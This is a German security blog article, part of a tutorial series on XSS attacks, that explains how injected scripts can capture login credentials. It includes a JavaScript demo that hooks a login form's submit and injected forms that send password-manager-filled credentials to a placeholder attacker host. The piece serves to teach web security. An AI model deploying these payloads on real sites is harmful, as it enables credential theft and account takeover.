XSS-Angriffe, Teil 3: Zugangsdaten ausspähen
Nach dem Einschleusen von Informationen in den Browser und dem Ausspähen von Cookies und Tastendrücken geht es in dieser Folge um das ...
Ausspähen von Zugangsdaten
Über Cross-Site Scripting lassen sich nicht nur Session-Cookies ausspähen, über die dann eine laufende Sitzung des Opfers übernommen werden kann, sondern auch Zugangsdaten. Und mit denen kann der Angreifer dann jederzeit die Kontrolle über das Benutzerkonto seines Opfers übernehmen.
Ziel des Angriffs soll folgendes einfache Login-Formular sein, dass ich auch hier auf meiner statischen Website abgelegt habe. Dort können Sie den Angriff auch gleich testen.
<form name="login" method="get" action="#">
Benutzername: <input name="username" type="text"><br>
Passwort: <input name="password" type="password"><br>
<input value="Login" type="submit">
</form>
Dieses Formular macht nichts weiter, als Benutzername und Passwort an sich
selbst zu schicken. Sie erscheinen dann als Parameter username
und password
in der Adresszeile des Browsers.
Diese Daten wollen wir jetzt mit einem XSS-Angriff ausspähen. Dazu kann folgender JavaScript-Code verwendet werden:
<script>
function ausspaehen() {
alert('Ihre Zugangsdaten: \n
Benutzername: ' + das_login.document.forms[0].username.value +'\n
Passwort: ' + das_login.document.forms[0].password.value);
}
function oeffne_login() {
das_login = window.open("http://www.ceilers-it.de/demos/demo-login.shtml");
das_login.onload = function() {
das_login.document.forms[0].onsubmit = ausspaehen;
}
}
</script>
<p>
<b><a href="#" onclick="oeffne_login();">Attacke!</a></b>
</p>
Dieser Code muss auf dem angegriffenen Webserver gespeichert werden. Nun enthält meine statische Website natürlich keine XSS-Schwachstelle, aber ich habe dort einfach eine Seite mit dem Angriff gespeichert.
Wenn Sie auf dieser Seite Attacke!
klicken, wird die
Login-Seite geöffnet. Und zwar die echte Seite, wie sie am Link in der
URL-Zeile erkennen können. Zusätzlich läuft im gleichen
Fenster aber auch der eingeschleuste JavaScript-Code des Angreifers. Der
gibt nach dem Einloggen die eingegebenen Zugangsdaten in einer Alertbox
aus. Ein echter Angreifer würde die Zugangsdaten natürlich an
seinen Server schicken.
Das Ganze funktioniert folgendermaßen:
Der Klick auf Attacke!
startet den JavaScript-Code der
Funktion oeffne_login()
. Der öffnet die Demo-Login-Seite
in einem neuen Fenster. Da diese Seite vom selben Server wie der
JavaScript-Code stammt, darf der die Seite nach Belieben manipulieren, ohne
gegen die Same-Origin Policy zu verstoßen. Das wird ausgenutzt, um
das Login-Formular um die Funktion ausspaehen()
zu erweitern.
Und die macht nichts weiter, als beim normalen Einloggen, also dem Klick
auf den Submit-Button, zusätzlich Benutzername und Passwort in der
Alertbox auszugeben.
Die einzige Voraussetzung für den Angriff ist, dass der XSS-Code auf dem gleichen Server wie die angegriffene Login-Seite gespeichert ist. Der auf dieser Seite gespeicherte Code hat keinen Zugriff auf die Zugangsdaten, wie Sie hier testen können:
Der Angriff kann natürlich auch automatisch gestartet werden, sobald ein Benutzer die Seite mit dem XSS-Code aufruft. Der Schadcode könnte den Benutzer auch selbst ausloggen, eine passende Info anzeigen wie zum Beispiel "Ihre Sitzung ist abgelaufen, bitte loggen Sie sich neu ein!" und dadurch das Einloggen des Benutzers provozieren. Denn warum sollte der sich einloggen, nur weil sich die Login-Seite öffnet?
Passwörter aus Passwortmanagern ausspähen
Um Passwörter aus Passwortmanagern wie zum Beispiel dem Password-Safe von Firefox oder dem Schlüsselring von Mac OS X auszuspähen, muss der obige Angriff nur etwas angepasst werden, so dass das automatisch vom Passwortmanager ausgefüllte Passwort automatisch abgeschickt wird. Dann kommt der Angriff ganz ohne Benutzerinteraktion aus.
Der Angreifer kann auch die manchmal unzureichende Intelligenz solcher Programme ausnutzen: Sie füllen auf einer Webseite gefundenen Formularfelder mit den zum jeweiligen Server passenden Werten aus. Mitunter auch dann, wenn diese Daten dann an einen anderen Server gesendet werden. Da es sich dabei um Schwachstellen in den jeweiligen Passwortmanagern handelt, die früher oder später behoben werden, funktionieren entsprechende Angriffe immer nur für bestimmte Passwortmanager und/oder Versionen. Im folgenden beschreibe ich daher nur das allgemeine Prinzip dieses Angriffs.
Als Beispiel soll die Webanwendung
http://www.beispiel.example/anwendung.html
dienen, die ein
Formular für die Anmeldung mit Benutzername und Passwort enthält:
<form name="login" method="post" action="http://www.beispiel.example/login.php">
Benutzername: <input name="username" type="text"><br>
Passwort: <input name="password" type="password"><br>
<br>
<input value="Einloggen" type="submit">
</form>
Der Passwortmanager erkennt die Seite
http://www.beispiel.example/anwendung.html
und füllt die
Formularfelder mit den passenden Werten aus. Das gleiche passiert auch,
wenn ein Angreifer folgendes Formular in die Seite einschleusen würde:
<form name="angriff" method="post"
action="http://www.angreifer.example/passwort-sammler.php">
<input name="username" type="hidden">
<input name="password" type="hidden">
</form>
Der Angreifer muss die Daten dann nur noch abschicken:
<script>document.angriff.submit()</script>
Wertet der Passwortmanager außer dem Domainnamen und den
Formularfeldern auch den action
-Parameter aus, würde er
das falsche Ziel für die Daten erkennen. Aber auch das kann umgangen
werden, indem das Umleiten der Zugangsdaten in einem
onSubmit
-Aufruf versteckt wird:
<form name="angriff" method="post"
action="http://www.beispiel.example/login.php"
onSubmit="document.location.replace(
'http://www.angreifer.example/passwort-sammler.php?name='
+document.angriff.username.value
+'&password='
+document.angriff.password.value)";>
<input name="username" type="hidden">
<input name="password" type="hidden">
</form>
Und das ist keine theoretische Gefahr - schon 2006 wurden Phishing-Angriffe gemeldet, die eine Schwachstelle in Firefox ausnutzten, um Passwörter aus dessen Password-Safe auszuspähen. Der Benutzer muss das Formular noch selbst abschicken, es wäre aber problemlos möglich gewesen, das zu automatisieren. Und notfalls wäre der Angriff sogar ohne JavaScript ausgekommen, CSS erfüllt den gleichen Zweck.
Damit soll es auch genug sein mit dem Ausspähen im Browser. In der nächsten Folge werfen wir noch kurz einen Blick aus History Sniffing, und dann dringen wir aus dem Browser heraus ins lokale Netz vor.
Übersicht über alle Artikel zum Thema
- Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
- Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS
- Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy
- Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy
- Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS
- Cross-Site Scripting im Überblick, Teil 5: Resident XSS
- XSS-Angriffe, Teil 1: Informationen einschleusen
- XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen
- XSS-Angriffe, Teil 3: Zugangsdaten ausspähen
- XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!
- XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN
- XSS-Angriffe, Teil 6: Ein verbesserter Portscanner
- XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen
- XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests
- XSS-Angriffe, Teil 9: Der Router im Visier
- XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router
- XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router
- XSS-Angriffe, Teil 12: Browser-basierte Botnets
- XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe
- XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF
Trackbacks
Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #1: Unsichere Weboberflächen, Teil 5
Vorschau anzeigen